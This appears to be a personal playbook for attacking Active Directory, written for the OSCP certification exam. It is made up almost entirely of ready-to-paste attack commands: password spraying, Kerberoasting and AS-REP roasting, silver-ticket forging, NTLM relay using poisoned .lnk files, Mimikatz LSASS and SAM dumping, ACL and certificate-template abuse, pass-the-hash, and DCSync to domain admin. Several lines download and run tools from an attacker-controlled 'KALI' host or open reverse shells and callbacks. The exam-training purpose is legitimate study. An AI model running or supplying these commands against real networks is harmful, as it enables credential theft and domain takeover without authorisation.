Active Directory Playbook
Single linear attack flow for OSCP AD set. Follow phases in order. One method per task.
Huge advice from OSCP mentors:
If a password contains " ! " : it is necessary to escape it with \ = " \! "
Even using ' ' will cause issues with command executions and will not read the !
Always use "\!" when there is ! in passwords
example:
nxc smb 10.10.10.10 -u offsec -p "Password1\!"
==nxc smb 10.10.10.10 -u offsec -p 'Password1!' will not work properly==
STUCK Quick-Reference
| Situation | Do This |
|---|---|
| Have creds, no shell | Spray SMB + WinRM + RDP on ALL machines |
| Have shell, no path | Read EVERY SMB share, grep transcripts, dump creds, re-enum AS new user |
| Stuck 30+ min | Update cred table. Move to different box. Come back. |
| Cant reach internal | Ligolo-NG pivot from compromised host |
| Hash wont crack | PtH directly. Or shadow creds / ForceChangePassword |
| Kerberos fails | sudo ntpdate DC_IP first. Use IP not hostname. |
EXAM DAY FLOW
- Setup - /etc/hosts, ntpdate, terminal logging
- Scan - nmap all machines, build network map
- Enum from Kali - ldapsearch, nxc smb/ldap, shares
- Get shell - sprayed creds -> evil-winrm / psexec
- Enum from box - PowerView, files, transcripts, history
- Dump creds - secretsdump, mimikatz, LSASS
- Spray new creds - every cred against every machine
- Find the path - ACL abuse / ADCS / delegation
- DA - DCSync or PtH to DC
Every 30 min: update cred table. Anything new to spray? Any machine not touched?
CREDENTIAL TABLE (track everything)
| # | Username | Password/Hash | Source | Sprayed? Admin? |
|---|
Spray any new cred:
echo -e 'user1\nuser2' > users.txt
echo -e 'Pass1\nPass2' > passes.txt
nxc smb IP1 IP2 IP3 -u users.txt -p passes.txt --continue-on-success | grep -v FAILURE
nxc winrm IP1 IP2 IP3 -u users.txt -p passes.txt --continue-on-success | grep -v FAILURE
nxc rdp IP1 IP2 IP3 -u users.txt -p passes.txt --continue-on-success | grep -v FAILURE
# With hash:
nxc smb IPs -u USER -H 'HASH' --continue-on-success
Situational wordlist generation
# Pattern: Season + Year
# Useful when hints point to password rotation, seasonal passwords, company policy, or recent years.
for year in {2022..2026}; do
for season in Spring Summer Fall Winter; do
echo "${season}${year}"
done
done > seasons_years.txt
For symbols:
for year in {2022..2026}; do
for season in Spring Summer Fall Winter; do
for symbol in '' '!' '@' '#'; do
echo "${season}${year}${symbol}"
done
done
done > seasons_years_symbols.txt
PHASE 0 - SETUP (first 5 min)
# Build /etc/hosts from IP list
echo -e 'DC_IP\nMS01_IP\nMS02_IP' > ips.txt
nxc smb ips.txt --generate-hosts-file /tmp/hosts
sudo tee -a /etc/hosts < /tmp/hosts
#make sure we have the DC in our /etc/resolv.conf
nameserver 10.10.10.10 # Add DC ip to /etc/resolv.conf
# Time sync (Kerberos needs this)
sudo ntpdate -u DC_IP
# Start logging
script -a exam_ad_log.txt
PHASE 1 - ENUM FROM KALI
1a. Anonymous LDAP
ldapsearch -x -H ldap://DC_IP -b 'DC=domain,DC=com' | head -50
1b. With first creds
ldapdomaindump -u 'DOMAIN\\USER' -p 'PASS' DC_IP -o ldap-dump/
nxc smb $ip -u '' -p '' --users
# for saving usernames in a file.
nxc smb $ip -u '' -p '' --users | tee nxc_users_raw.txt | awk '$1=="SMB" && $5 !~ /^\[|\-Username\-/ {print $5}' | sort -u > users.txt # CHECK descriptions for passwords
nxc smb DC_IP -u USER -p 'PASS' --groups
nxc smb DC_IP -u USER -p 'PASS' --shares
nxc smb DC_IP -u USER -p 'PASS' --pass-pol # CHECK before spraying
nxc smb DC_IP -u USER -p 'PASS' -M spider_plus
nxc ldap DC_IP -u USER -p 'PASS' -M laps
nxc ldap DC_IP -u USER -p 'PASS' -M adcs
nxc ldap DC_IP -u USER -p 'PASS' --trusted-for-delegation
# Auto-generate /etc/hosts from AD
nxc smb ips.txt -u USER -p 'PASS' -d DOMAIN --generate-hosts-file /tmp/hosts
BloodHound — run FIRST after first creds
From Kali:
bloodhound-python -u 'USER' -p 'PASS' -ns DC_IP -d DOMAIN -c All
# Output: 6 JSON files (users, groups, computers, domains, gpos, ous) in cwd
# ADCS data — bloodhound-python -c All does NOT include it. Run separately:
certipy-ad find -u USER@DOMAIN -p 'PASS' -dc-ip DC_IP -vulnerable -stdout
# Output: 1 zip file
# Upload to BloodHound CE: drag ALL 6 JSON + 1 zip into File Ingest tab
# Then mark owned users -> Shortest Paths from Owned Principals (shows ACL + ADCS edges)
From Windows (SharpHound — when Kali cannot reach DC):
certutil -urlcache -f http://KALI/SharpHound.exe C:\Windows\Temp\SharpHound.exe
C:\Windows\Temp\SharpHound.exe --CollectionMethods All --OutputDirectory C:\Windows\Temp\
# OR in-memory (no disk artifact):
IEX(New-Object Net.WebClient).DownloadString('http://KALI/SharpHound.ps1')
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Windows\Temp\
# Transfer back: evil-winrm download, or base64 encode
BloodHound queries (run in this order):
- Mark your user as Owned
- Shortest Paths from Owned Principals <- YOUR ATTACK PATH
- Shortest Paths to Domain Admins
- Find All Kerberoastable Users
- Find AS-REP Roastable Users
- Find Workstations where Domain Users can RDP
- Find Computers where Domain Users are Local Admin
- Find Principals with DCSync Rights
Custom Cypher (paste in Raw Query):
MATCH p = (c:Computer)-[:HasSession]->(m:User) RETURN p
MATCH (u:User) WHERE u.hasspn=true RETURN u
MATCH p=()-[:DCSync|GetChanges|GetChangesAll]->(:Domain) RETURN p
MATCH (m:Computer) RETURN m
BloodHound edge cheat sheet:
| Edge | Meaning | Exploit |
|---|---|---|
| MemberOf | User in this group | Inherits group perms |
| AdminTo | Local admin on this box | psexec/wmiexec/evil-winrm |
| HasSession | User logged in on this box | Compromise box -> dump their creds |
| CanRDP | Can RDP to this box | RDP + look for cached creds |
| GenericAll | Full control | Reset password, add to group, set SPN, shadow creds |
| GenericWrite | Can modify attributes | Set SPN -> Kerberoast, or shadow creds |
| WriteOwner | Can change owner | Take ownership -> GenericAll -> exploit |
| WriteDacl | Can modify permissions | Grant yourself GenericAll -> exploit |
| ForceChangePassword | Can reset password | Reset -> login as them |
| AddMember | Can add to group | Add yourself |
| DCSync | Can dump all hashes | secretsdump -> game over |
1c. SMB shares - list first, download second
# List recursively WITHOUT downloading
smbclient //IP/SHARE -U 'DOMAIN/USER%PASS' -c 'recurse ON; ls'
# Priority files: PowerShell_transcript.*.txt, *.ps1, *.kdbx, *.config, *.xml, *.log
# Targeted download
smbclient //IP/SHARE -U 'DOM/USER%PASS' -c 'recurse ON; prompt OFF; mask *.ps1; mget *; mask *.txt; mget *; mask *.config; mget *'
# Grep everything
grep -riE 'password|credential|secret|ConvertTo-SecureString|PSCredential' .
# Content search without download
smbmap -H IP -u USER -p 'PASS' -d DOMAIN -R SHARE -A 'password|secure|credential|transcript|PSCredential'
1d. SYSVOL (GPP cpassword)
smbclient //DC_IP/SYSVOL -U 'DOMAIN/USER%PASS' -c 'recurse;prompt;mget *'
grep -ri cpassword .
gpp-decrypt 'CPASSWORD_VALUE'
# Or:
nxc smb DC_IP -u USER -p 'PASS' -M gpp_password
1e. ADCS + Delegation
certipy-ad find -u USER@DOMAIN -p 'PASS' -dc-ip DC_IP -vulnerable -stdout
impacket-findDelegation 'DOMAIN/USER:PASS' -dc-ip DC_IP
---
PHASE 2 - CREDENTIAL ATTACKS
AS-REP Roasting
# Without creds (need username list)
impacket-GetNPUsers DOMAIN/ -dc-ip DC_IP -usersfile users.txt -format hashcat -outputfile asrep.txt
# With creds
impacket-GetNPUsers 'DOMAIN/USER:PASS' -dc-ip DC_IP -request -outputfile asrep.txt
# Crack
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
Kerberoasting
impacket-GetUserSPNs 'DOMAIN/USER:PASS' -dc-ip DC_IP -request -outputfile kerb.txt
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt
Silver Ticket — Process + Variants
When to try: Kerberoast cracked + service account password/hash known + normal login fails or gives no useful access.
Main rule: Use FQDN in Kerberos identity. Use IP or tunnel only in -target-ip.
Required info
Domain: Domain SID: Service account password or NTLM hash: Target FQDN: Target IP / tunnel endpoint: SPN: User to impersonate: Optional group RID:
Get Domain SID
From whoami /all or whoami /user:
Remove the last RID.
From Kali:
lookupsid.py DOMAIN/USER:'PASS'@DC_IP
Or from RID brute output:
Password to NTLM
pypykatz crypto nt 'PASSWORD'
Example:
pypykatz crypto nt 'Summer2024!'
MSSQL Silver Ticket — basic
impacket-ticketer -nthash HASH -domain-sid DOMAIN_SID -domain DOMAIN -spn MSSQLSvc/FQDN:1433 -user-id 500 Administrator
Example:
Load ticket:
export KRB5CCNAME=$PWD/Administrator.ccache && klist
Expected klist:
MSSQL connect — direct route
proxychains impacket-mssqlclient -k -no-pass DOMAIN/Administrator@FQDN -target-ip TARGET_IP -port 1433
MSSQL connect — local tunnel
Use this when the service is forwarded locally:
Kali 127.0.0.1:1433 -> internal target:1433
Command:
proxychains impacket-mssqlclient -k -no-pass DOMAIN/Administrator@FQDN -target-ip 127.0.0.1 -port 1433
MSSQL verify
SELECT SYSTEM_USER;
SELECT USER_NAME();
SELECT IS_SRVROLEMEMBER('sysadmin');
If sysadmin:
enable_xp_cmdshell EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'hostname';
Reverse shell:
EXEC xp_cmdshell 'powershell -exec bypass -enc BASE64_PAYLOAD';
Important syntax:
Wrong: xp_cmdshell 'whoami' Right: EXEC xp_cmdshell 'whoami';
MSSQL Silver Ticket — with custom group RID
Use when basic ticket connects as guest/no rights or when a suspicious group exists.
Examples of suspicious groups:
Administrators, SQL Admins, MSSQL Admins, IT Database Admins, Server Operators, Account Operators
Forge with group RID:
impacket-ticketer -nthash HASH -domain-sid DOMAIN_SID -domain DOMAIN -spn MSSQLSvc/FQDN:1433 -user-id 500 -groups RID Administrator
Example:
Load again:
export KRB5CCNAME=$PWD/Administrator.ccache && klist
Reconnect:
CIFS Silver Ticket variant
Use if the SPN/service is SMB/CIFS instead of MSSQL.
Forge:
impacket-ticketer -nthash HASH -domain-sid DOMAIN_SID -domain DOMAIN -spn cifs/FQDN -user-id 500 Administrator
Load:
export KRB5CCNAME=$PWD/Administrator.ccache && klist
Use:
proxychains smbclient -k //FQDN/C$
Or:
proxychains impacket-psexec -k -no-pass DOMAIN/Administrator@FQDN -target-ip TARGET_IP
If using local tunnel, keep FQDN in Kerberos identity and IP/tunnel in tool options when supported.
HOST / WSMAN variant
Use only if the service path needs HOST or WinRM/WSMAN.
Forge HOST:
impacket-ticketer -nthash HASH -domain-sid DOMAIN_SID -domain DOMAIN -spn HOST/FQDN -user-id 500 Administrator
Forge WSMAN:
impacket-ticketer -nthash HASH -domain-sid DOMAIN_SID -domain DOMAIN -spn WSMAN/FQDN -user-id 500 Administrator
Load:
export KRB5CCNAME=$PWD/Administrator.ccache && klist
Common fixes
Use MSSQLSvc/FQDN:1433, not MSSQL/FQDN. Use DOMAIN/User@FQDN for Kerberos identity. Use IP or 127.0.0.1 only in -target-ip. If mssqlclient tries DOMAIN:88, ticket SPN probably does not match. If direct target IP fails but tunnel works, use -target-ip 127.0.0.1. If connected but guest/no rights, retry with -groups RID. If Kerberos fails, run ntpdate DC_IP and check /etc/hosts. If klist shows wrong SPN, delete ccache and forge again.
Decision flow
Kerberoast cracked service account
↓ Normal login fails or no shell
↓ Convert password to NTLM
↓ Get Domain SID
↓ Forge Silver Ticket for exact SPN
↓ Load ccache
↓ Connect using FQDN identity
↓ Use reachable IP/tunnel in -target-ip
↓ Check privileges
↓ If guest/no rights, retry with custom group RID
Critical rule
If I crack a service account and normal login fails, do not discard it. Treat the password/hash as a Kerberos service key. Forge a Silver Ticket for the exact SPN.
Password Spraying
# CHECK lockout first
nxc smb DC_IP -u USER -p 'PASS' --pass-pol
# Spray
kerbrute passwordspray --dc DC_IP -d DOMAIN users.txt 'CompanyName2024!'
nxc smb DC_IP -u users.txt -p 'Password1' --continue-on-success --no-bruteforce
Responder (LLMNR/NBT-NS)
sudo responder -I tun0 -v
# Force auth via MSSQL: EXEC xp_dirtree '\\\\KALI\\share'
# Crack: hashcat -m 5600 (cannot PtH, must crack)
NTLM Relay
Allowed: ntlmrelayx + Responder as listener + file-based coercion Restricted: LLMNR/NBT-NS/mDNS poisoning (Responder default mode) Use Responder ONLY with poisoning disabled in Responder.conf
# 1. Find writable share where users browse
smbclient //TARGET/SHARE -U 'DOMAIN\USER'
# 2. Generate poisoned .lnk with ntlm_theft
git clone https://github.com/Greenwolf/ntlm_theft
python3 ntlm_theft.py -g lnk -s KALI_IP -f loot
smbclient //TARGET/SHARE -U 'DOMAIN\USER' -c 'put loot.lnk'
# 3. Find relay targets (SMB signing disabled)
nxc smb SUBNET/24 --gen-relay-list relay_targets.txt
# 4. Start relay listener (socks proxy for reuse)
sudo impacket-ntlmrelayx -tf relay_targets.txt -smb2support -socks
# 5. Wait for victim to browse the folder in Explorer
# Inside ntlmrelayx console: 'socks' shows active sessions
# 6. Use relayed session via proxychains
# /etc/proxychains.conf last line: socks4 127.0.0.1 1080
proxychains -q impacket-secretsdump DOMAIN/USER@TARGET -no-pass
proxychains -q nxc smb TARGET -u USER -p '' --sam
Other coercion methods (all allowed - no poisoning):
# MSSQL (as any user with connect perms, even non-sysadmin):
EXEC master..xp_dirtree '\\KALI_IP\x'
EXEC master..xp_fileexist '\\KALI_IP\x'
# Writable share - drop any of these:
# .lnk, .url, .scf, desktop.ini pointing to \\KALI_IP\x
PHASE 3 - GET A SHELL
# WinRM (5985) - cleanest
evil-winrm -i IP -u USER -p 'PASS'
evil-winrm -i IP -u USER -H 'NT_HASH'
# PsExec (445, SYSTEM shell, noisy)
impacket-psexec 'DOMAIN/USER:PASS'@IP
impacket-psexec 'DOMAIN/USER'@IP -hashes :NTHASH
# WmiExec (135, stealthier)
impacket-wmiexec 'DOMAIN/USER:PASS'@IP
impacket-wmiexec 'DOMAIN/USER'@IP -hashes :NTHASH
# DCOM (MMC20.Application — from compromised Windows box, when WmiExec/PsExec blocked)
# Requires local admin on TARGET. Runs in current session, no service created.
\$com = [activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Application','TARGET'))
\$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',\$null,'/c CMD_HERE','7')
# RDP
xfreerdp /u:USER /p:'PASS' /d:DOMAIN /v:IP /cert:ignore +clipboard
Group -> tool mapping
| Group | Tool |
|---|---|
| Remote Management Users | evil-winrm |
| Remote Desktop Users | xfreerdp |
| Local Administrators | psexec / wmiexec / evil-winrm |
| Domain Users only | SSH if present, check what they CAN access |
PHASE 4 - ENUM FROM COMPROMISED WINDOWS BOX
First commands every box
whoami /all
hostname
ipconfig /all
netstat -ano | findstr LISTENING
net user /domain
net group "Domain Admins" /domain
net localgroup Administrators
net.exe / dsquery (built-in, no upload)
net user /domain
net user USERNAME /domain
net group /domain
net group "Domain Admins" /domain
net group "Domain Controllers" /domain
net accounts /domain
dsquery user -name "*"
dsquery group -name "*"
dsquery computer
PowerView (upload PowerView.ps1 first)
Import-Module .\PowerView.ps1
# Domain info
Get-Domain
Get-DomainPolicy
Get-DomainController
# Users
Get-DomainUser | select samaccountname,description
Get-DomainUser -SPN # Kerberoastable
Get-DomainUser -PreauthNotRequired # AS-REP Roastable
# Groups
Get-DomainGroup | select samaccountname
Get-DomainGroupMember 'Domain Admins'
Get-DomainGroupMember 'Backup Operators'
# Computers
Get-DomainComputer | select dnshostname,operatingsystem
Get-DomainComputer | Resolve-IPAddress
# Access + ACLs
Find-LocalAdminAccess
Find-InterestingDomainAcl -ResolveGUIDs
Get-NetSession -ComputerName TARGET
# Kerberoastables
Get-DomainUser -SPN | Select-Object SamAccountName, ServicePrincipalName
Convert-SidToName S-1-5-21-...-1104
Windows-side attack tools (upload to target)
# Enumerate logged-on users on another box
# Password spray from inside the domain
Spray-Passwords.ps1
# Rubeus - AS-REP Roasting
.\Rubeus.exe asreproast /outfile:asrep.txt
# Rubeus - Kerberoasting
.\Rubeus.exe kerberoast /outfile:tgs.txt
# Rubeus - Ask TGT with hash (overpass-the-hash)
.\Rubeus.exe asktgt /user:USER /rc4:NTHASH /domain:DOMAIN /outfile:ticket.kirbi
.\Rubeus.exe ptt /ticket:ticket.kirbi
# Mimikatz - dump cached credentials
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# Mimikatz - dump local SAM (token::elevate BEFORE lsadump::sam)
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"
# Mimikatz - dump LSA secrets (CRITICAL - often holds cleartext service account passwords)
# Look for: _SC_servicename entries (cleartext service passwords)
# MACHINE.ACC (this machine computer account hash)
# DPAPI system keys, auto-login creds, stored RDP passwords
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::secrets" "exit"
# Mimikatz - DCSync from compromised box
mimikatz.exe "privilege::debug" "lsadump::dcsync /user:DOMAIN\\Administrator" "exit"
# Mimikatz - pass-the-hash (spawns new process as target user)
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:NTHASH /run:powershell" "exit"
# Mimikatz - export tickets from memory
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
# PowerView - targeted attacks on discovered edges
Set-DomainUserPassword -Identity TARGET -AccountPassword (ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force)
Set-DomainObject -Identity TARGET -SET @{serviceprincipalname='fake/spn'}
Add-DomainGroupMember -Identity 'GROUP' -Members USER
Add-DomainObjectAcl -TargetIdentity 'DC=domain,DC=com' -PrincipalIdentity USER -Rights DCSync
# PowerView - Kerberoast via pipeline
Get-DomainUser -SPN | ? {$_.samaccountname -ne "krbtgt"} | Get-DomainSPNTicket | Select-Object -ExpandProperty Hash | Out-File -Encoding ASCII kerberoast.hashes
File + credential hunting
# PowerShell history
Get-ChildItem -Path C:\Users -Recurse -Filter ConsoleHost_history.txt -EA SilentlyContinue | Get-Content
# Saved creds
cmdkey /list
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
# Config + KeePass
Get-ChildItem -Path C:\Users -Recurse -Include *.txt,*.xml,*.ini,*.config -EA SilentlyContinue | Select-String "pass" -List | Select Path
Get-ChildItem -Path C:\ -Recurse -Filter *.kdbx -EA SilentlyContinue | Select FullName
# Common dirs
ls C:\Users\Public
ls C:\Temp
ls C:\Windows\Temp
ls C:\inetpub
PHASE 5 - CREDENTIAL DUMPING (as admin)
# From Kali - SAM + LSA + DCC2
impacket-secretsdump 'DOMAIN/USER:PASS'@IP
impacket-secretsdump 'DOMAIN/USER'@IP -hashes :NTHASH
# DCSync (DC only, needs rights)
impacket-secretsdump 'DOMAIN/Administrator:PASS'@DC_IP -just-dc
# nxc shortcuts
nxc smb IP -u USER -p 'PASS' --sam # local hashes
nxc smb IP -u USER -p 'PASS' --lsa # LSA secrets
nxc smb DC_IP -u USER -p 'PASS' --ntds # all domain hashes (DC only)
# From Windows - Mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"
mimikatz.exe "privilege::debug" "lsadump::dcsync /user:DOMAIN\Administrator" "exit"
Read ALL output: SAM hashes, DCC2 (slow), LSA secrets, SC entries (cleartext service passwords).
PHASE 6 - ACL ABUSE
Decision table
| Edge | Against USER | Against GROUP |
|---|---|---|
| WriteOwner | Take ownership -> GenericAll -> shadow creds | Take ownership -> GenericAll -> add self |
| GenericAll | Shadow creds / reset password / set SPN | Add self as member |
| GenericWrite | Shadow creds / targeted Kerberoast / UPN swap | Modify attributes |
| WriteDacl | Grant self GenericAll, then proceed | Grant self GenericAll, add self |
| ForceChangePassword | Reset password directly | N/A |
| AddMember | N/A | Add self directly |
WriteOwner -> USER
bloodyAD -d DOMAIN --host DC_IP -u USER -p 'PASS' set owner TARGET USER
bloodyAD -d DOMAIN --host DC_IP -u USER -p 'PASS' add genericAll TARGET USER
certipy-ad shadow auto -u USER@DOMAIN -p 'PASS' -account TARGET -dc-ip DC_IP
WriteOwner -> GROUP
# Same 2-step: take ownership, grant yourself, then add yourself to the group
bloodyAD -d DOMAIN --host DC_IP -u USER -p 'PASS' set owner GROUPNAME USER
bloodyAD -d DOMAIN --host DC_IP -u USER -p 'PASS' add genericAll GROUPNAME USER
bloodyAD -d DOMAIN --host DC_IP -u USER -p 'PASS' add groupMember 'GROUPNAME' USER
# Re-check BloodHound — what does GROUPNAME give you? (often AdminTo / DCSync rights)
GenericAll / GenericWrite -> USER
ALWAYS verify reset: nxc smb DC_IP -u TARGET -p NEW_PASS
# 1. [OK] net rpc password (from BloodHound abuse panel)
# Substitute EVERY placeholder - DomainController, TargetUser etc are templates
net rpc password "TARGET" "NewP@ss123!" -U "DOMAIN"/"USER"%"PASS" -S "DC_IP"
# 2. [OK] rpcclient fallback
rpcclient -U 'DOMAIN/USER%PASS' DC_IP -c 'setuserinfo2 TARGET 23 NewP@ss123!'
# 3. [WARN] bloodyAD - can report success but NOT actually commit the change
# Only use if 1 and 2 fail. ALWAYS verify by authenticating.
bloodyAD -d DOMAIN --host DC_IP -u USER -p 'PASS' set password TARGET 'NewP@ss123!'
# 4. [ADCS only] Shadow credentials - check ADCS exists first
certipy-ad find -u USER@DOMAIN -p 'PASS' -dc-ip DC_IP -vulnerable -stdout
# If 'Found 0 certificate authorities' -> skip, no ADCS deployed
certipy-ad shadow auto -u USER@DOMAIN -p 'PASS' -account TARGET -dc-ip DC_IP
# 5. [GenericWrite or GenericAll] Targeted Kerberoast - silent (preserves user logon)
python3 targetedKerberoast.py --dc-ip DC_IP -v -d DOMAIN -u USER -p 'PASS'
# Manual PowerView fallback (from compromised Windows box, if impacket fails):
# Set-DomainObject -Identity TARGET -Set @{serviceprincipalname='nonexistent/spn'}
# Get-DomainUser TARGET | Get-DomainSPNTicket | fl
# Set-DomainObject -Identity TARGET -Clear serviceprincipalname
WriteDacl -> DCSync
dacledit.py -action write -rights DCSync -principal USER -target-dn 'DC=domain,DC=com' DOMAIN/USER:PASS -dc-ip DC_IP
impacket-secretsdump DOMAIN/USER:PASS@DC_IP -just-dc-user Administrator
ForceChangePassword
rpcclient -U 'DOMAIN/USER%PASS' DC_IP -c 'setuserinfo2 TARGET 23 NewP@ss123!'
bloodyAD -d DOMAIN --host DC_IP -u USER -p 'PASS' set password TARGET 'NewP@ss123!'
AddMember
bloodyAD -d DOMAIN --host DC_IP -u USER -p 'PASS' add groupMember 'GROUP' USER
net rpc group addmem 'GROUP' USER -U 'DOMAIN/USER%PASS' -S DC_IP
PHASE 7 - ADCS (Certificate Abuse)
certipy-ad find -u USER@DOMAIN -p 'PASS' -dc-ip DC_IP -vulnerable -stdout
ESC1 - Enrollee supplies subject
certipy-ad req -u USER@DOMAIN -p 'PASS' -ca CA-NAME -template TEMPLATE -upn Administrator@DOMAIN -target DC_IP
certipy-ad auth -pfx administrator.pfx -dc-ip DC_IP
ESC4 -> ESC1 - Modify template you control
certipy-ad template -u USER@DOMAIN -hashes HASH -template TEMPLATE -dc-ip DC_IP -target DC_IP -write-default-configuration
certipy-ad req -u USER@DOMAIN -hashes HASH -ca CA-NAME -template TEMPLATE -upn Administrator@DOMAIN -target DC_IP
certipy-ad auth -pfx administrator.pfx -dc-ip DC_IP
ESC9 - UPN swap
certipy-ad account update -u USER@DOMAIN -p 'PASS' -user TARGET -upn Administrator -dc-ip DC_IP
certipy-ad req -u TARGET@DOMAIN -hashes HASH -ca CA-NAME -template TEMPLATE -dc-ip DC_IP
certipy-ad account update -u USER@DOMAIN -p 'PASS' -user TARGET -upn TARGET@DOMAIN -dc-ip DC_IP
certipy-ad auth -pfx administrator.pfx -dc-ip DC_IP
Always sudo ntpdate -u DOMAIN before certipy. Use IP not hostname for -target.
PHASE 8 - PTH / PTT
Pass-the-Hash (NTLM - 32 hex chars)
evil-winrm -i IP -u USER -H 'NTHASH'
impacket-psexec 'DOMAIN/USER'@IP -hashes :NTHASH
impacket-wmiexec 'DOMAIN/USER'@IP -hashes :NTHASH
nxc smb IP -u USER -H 'HASH'
nxc smb IP -u USER -H 'HASH' --local-auth
PtH does NOT work with NTLMv2 (Responder) - must crack those.
Overpass-the-Hash
impacket-getTGT -dc-ip DC_IP -hashes :NTHASH DOMAIN/USER
export KRB5CCNAME=USER.ccache
impacket-psexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP DOMAIN/[email protected]
Pass-the-Ticket
export KRB5CCNAME=ticket.ccache
impacket-psexec -k -no-pass DOMAIN/[email protected]
PHASE 9 - LAPS
nxc ldap DC_IP -u USER -p 'PASS' -M laps
# LAPS v1 (legacy, plaintext attribute)
ldapsearch -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASS' -b 'DC=domain,DC=com' '(ms-MCS-AdmPwd=*)' ms-MCS-AdmPwd
# LAPS v2 (2023+, may be JSON-wrapped: {"n":"Administrator","p":"plaintext"})
ldapsearch -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASS' -b 'DC=domain,DC=com' '(msLAPS-Password=*)' msLAPS-Password
LAPS passwords per-computer, reset regularly. Use as local admin on that box.
PHASE 10 - PIVOT (internal subnet access)
# Ligolo-NG (preferred)
sudo ip tuntap add user USERNAME mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601
# On target:
agent.exe -connect KALI_IP:11601 -ignore-cert
# Ligolo console:
session
ifconfig
start
# Kali routing:
sudo ip route add $TARGET/24 dev ligolo
# Callback through tunnel:
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp
PHASE 11 - DOMAIN ADMIN
# DCSync all domain hashes
impacket-secretsdump 'DOMAIN/USER:PASS'@DC_IP -just-dc
impacket-secretsdump 'DOMAIN/USER'@DC_IP -hashes :NTHASH -just-dc
# Shell on DC
evil-winrm -i DC_IP -u Administrator -H NTHASH
impacket-psexec 'DOMAIN/Administrator'@DC_IP -hashes :NTHASH
# Proof
type C:\Users\Administrator\Desktop\proof.txt
Constrained Delegation
impacket-getST -spn cifs/target.domain.com -impersonate Administrator DOMAIN/svcaccount:PASS -dc-ip DC_IP
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass DOMAIN/[email protected]
CRITICAL PATTERN - PowerShell Transcript Credential Leak
The #1 AD enum technique for exam day.
When any domain user has SMB read on a share with log/transcript/monitoring dirs, grep for ConvertTo-SecureString and PSCredential.
Signature in transcript files:
- ConvertTo-SecureString CLEARTEXT -AsPlainText -Force
- New-Object System.Management.Automation.PSCredential DOMAIN\Administrator
Process
- nxc smb IP -u USER -p PASS -d DOMAIN –shares
- For each readable non-default share: smbclient //IP/share -c ‘recurse ON; ls’
- Prioritize PowerShell_transcript.*.txt files
- Download targeted, grep ConvertTo-SecureString first
A low-priv user with READ on a share found a Domain Administrator cleartext password in a PowerShell transcript — grep transcripts early.
Enumeration first. Advanced attacks second.
QUICK REFERENCES
Hash types
| Type | Hashcat | Notes |
|---|---|---|
| NTLM | 1000 | PtH directly |
| NTLMv2 | 5600 | Responder - MUST crack |
| Kerberoast | 13100 | GetUserSPNs |
| AS-REP | 18200 | GetNPUsers |
| DCC2 | 2100 | Cached - slow |
Syntax gotchas
- bloodyAD hashes: -p ‘:NTHASH’ (no –hashes flag)
- certipy-ad: use IP not hostname for -target
- evil-winrm -H: NT hash only (32 chars), NOT LM:NT
- evil-winrm IP fails: try domain name
- ntpdate: BEFORE every Kerberos/cert operation
- users.txt: one per line, never comma-separated
- C:\Temp may not exist: use C:\Windows\Temp\
Common chain patterns
- creds -> ForceChangePassword -> GenericAll -> Kerberoast -> DCSync -> DA
- creds -> WriteOwner group -> shadow creds -> GenericAll -> ESC9 -> DA
- SYSVOL -> GPP cpassword -> gpp-decrypt -> Kerberoast -> DA
- AS-REP Roast -> crack -> WriteDacl -> DCSync -> DA